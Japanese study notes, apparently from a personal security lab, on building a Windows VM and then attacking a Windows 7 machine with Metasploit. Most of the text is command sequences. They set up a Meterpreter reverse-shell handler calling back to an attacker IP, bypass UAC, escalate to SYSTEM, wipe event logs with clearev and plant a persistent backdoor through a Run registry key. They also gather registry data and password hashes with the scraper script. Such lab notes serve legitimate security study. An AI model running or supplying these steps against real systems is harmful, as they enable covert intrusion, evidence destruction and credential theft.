Windows10 仮想マシン構築

Windows10 仮想マシン構築

https://www.microsoft.com/ja-jp/software-download/windows10ISO
から
Windows10 のISOファイルをダウンロード

Windows 以外のOSでアクセスすると
ISOファイルのダウンロード画面になる

エディションの選択では
セキュリティの実験に使うので
Windows10 October 2018 Update
を選択

これで確認をクリックすると
言語選択になるので

日本語を選択し

次の画面で
64-bit ダウンロードをクリック

ダウンロードができたら
VirtualBox を起動し
新規をクリック

名前を Windows10 など任意の名前にして次へをクリック

メモリ設定はデフォルトのまま2GBでOK

次に仮想HDD関連関連で
デフォルトの
仮想ハードディスクを作成するのままでOK

ファイルタイプも
デフォルトのVDIのままでOK

ストレージタイプは
可変サイズでOK

ファイルサイズと場所もデフォルトのままでOK
ちなみにデフォルトのサイズは50GB

これで作成をクリックすれば
空の状態の仮想マシンが作成される

Windows7 ログ削除

Windows7 ログ削除

Windows システムログは
イベントログとして記録され
これは
イベントビューアで確認できる

WIndows で確認するには
スタートメニューで
eventvwr.msc
とすれば
Event Viewwer が起動しログの確認ができる

主なイベントログは
Application
アプリやプログラムが記録する情報
エラーなどが該当

Security
Windows 椅子sテムが記録する情報
特定ファイルの読み取り失敗とか
ログオンの成否などなど

System
標準サービスの記録情報
デバイスドライバ
OSブートなどなど

これらを削除するには
KaliLinux 側で SYSTEM権限で
clearev コマンドを使うことで削除が可能になる

すでにバックドア設置済みな場合

msfconsole 


Metaploit を起動

msf コンソールが起動したら

use exploit/multi/handler 

でハンドラーモジュールを使用

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

これで

exploit

でペイロードが実行され、待受状態になってから
50秒後にセッションが接続される

ただし、この状態ではSYSTEM権限ではないし
そのままでは権限昇格もできない

次に

background 

というように
background コマンドを使い
Meterpreter セッションをバックグラウンドにして
msf プロンプトにする

次にUAC機能をバイパスするモジュールを使う
これは確率済みセッションを通して Exploit を送る

use exploit/windows/local/bypassuac

で使用するペイロードをセット

次に

set SESSION 1

でセッションをセット

そして再度 reverse_tcp を設定

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

これで

exploit

でUAC機能をバイパスした状態で実行できる

次に権限昇格

getsystem -t 1

これでユーザ権限を確認するとSYSTEM権限になっているのがわかる

getuid 

これで権限を得たので

clearev 

を実行するとイベントログが消去される

Windows7 バックドア設置

Windows7 バックドア設置

evil.exe を実行したときのみセッションが確率されるが
通常は何度も実行することはないので
バックドアを設置する

これはWindows7 起動時に自動でペイロードを実行するように
設定をする

まず、
KaliLinux でリバースシェルを待ち受けにして
Windows 7 で evil.exe を実行

KaliLinux を起動し

msfconsole 


Metaploit を起動

msf コンソールが起動したら

use exploit/multi/handler 

でハンドラーモジュールを使用

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でペイロードが実行され、待受状態になるので

windows7 で evil.exe を実行

次に

background 

というように
background コマンドを使い
Meterpreter セッションをバックグラウンドにして
msf プロンプトにする

次にUAC機能をバイパスするモジュールを使う
これは確率済みセッションを通して Exploit を送る

use exploit/windows/local/bypassuac

で使用するペイロードをセット

 show options 

でオプションで使用するセッションIDが必要なのがわかる

次に

set SESSION 1

でセッションをセット

そして再度 reverse_tcp を設定

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でUAC機能をバイパスした状態で実行できる

次に権限昇格

getsystem -t 1

これでユーザ権限を確認するとSYSTEM権限になっているのがわかる

getuid 

セッションが閉じるたびに Windows 側で evil.exe を実行しないと
この手順の繰り返しになるので
Windows 7 起動時に自動でペイロードを実行するようにする

これは
run persistence コマンドを使う

オプションについては

run persistence -h

で確認できる

今回は

run persistence -X -i 60 -P windows/meterpreter/reverse_tcp -p 4444 -r 192.168.1.134

で実行

-X でシステム起動時に自動開始
-i は接続を開始するタイミングを秒で指定
-P でペイロードの指定
-p でポート指定
-r でペイロードを実行する対象のIPアドレス
となる

つまり
今回なら
60秒間隔で
ペイロードを
4444 番ポートで
192.168.1.134 のマシンへ実行
となる

なお、Windows 7 への変更点については
Sysinternals で確認できる

Sysinternal Suites フォルダの中にある
Autoruns.exe
で起動

File > Compare で
最初に作成したarm ファイルを選択

すると
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
のところにキーが追加されているのがわかる

ここに追加された値は
c:\users\ieuser\appdata\local\temp\nhvpfroywzr.vbs
に設定されている

この状態でWindows 7 を再起動しておき

KaliLinux でリバースシェル環境を再び設定する

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.134
exploit

を実行

すると、今回からは Windows7 で evil.exe を実行せずとも
セッションが確率されるのがわかる

Windows7 システム情報の収集

Windows7 システム情報の収集

まず、
KaliLinux でリバースシェルを待ち受けにして
Windows 7 で evil.exe を実行

KaliLinux を起動し

msfconsole 


Metaploit を起動

msf コンソールが起動したら

use exploit/multi/handler 

でハンドラーモジュールを使用

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でペイロードが実行され、待受状態になるので

windows7 で evil.exe を実行

次に

background 

というように
background コマンドを使い
Meterpreter セッションをバックグラウンドにして
msf プロンプトにする

次にUAC機能をバイパスするモジュールを使う
これは確率済みセッションを通して Exploit を送る

use exploit/windows/local/bypassuac

で使用するペイロードをセット

 show options 

でオプションで使用するセッションIDが必要なのがわかる

次に

set SESSION 1

でセッションをセット

そして再度 reverse_tcp を設定

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でUAC機能をバイパスした状態で実行できる

次に権限昇格

getsystem -t 1

これでユーザ権限を確認するとSYSTEM権限になっているのがわかる

getuid 

必要なセッションは2のほうなので
不要なセッション1はとじる

background 

というように
background コマンドを使い

sessions -i

とすると
2つめのセッションのほうが管理者権限であることが確認できる

セッションを閉じるには
sessions コマンドの -kオプションを使う

sessions -k 1

これで

sessions -i

とすると
セッション2だけ残っているのがわかる

不要なセッションは削除したので

sessions 2

で再びセッションに戻し

run scraper 

でシステム情報を収集する

これには
レジストリ
パスワードハッシュなどが含まれるため時間がかかる

なお、実行結果は

.msf4/logs/scripts/scraper/

の下へダウンロードされ保存される

保存されるフォルダ名は
IPアドレス_日付_数値列
となる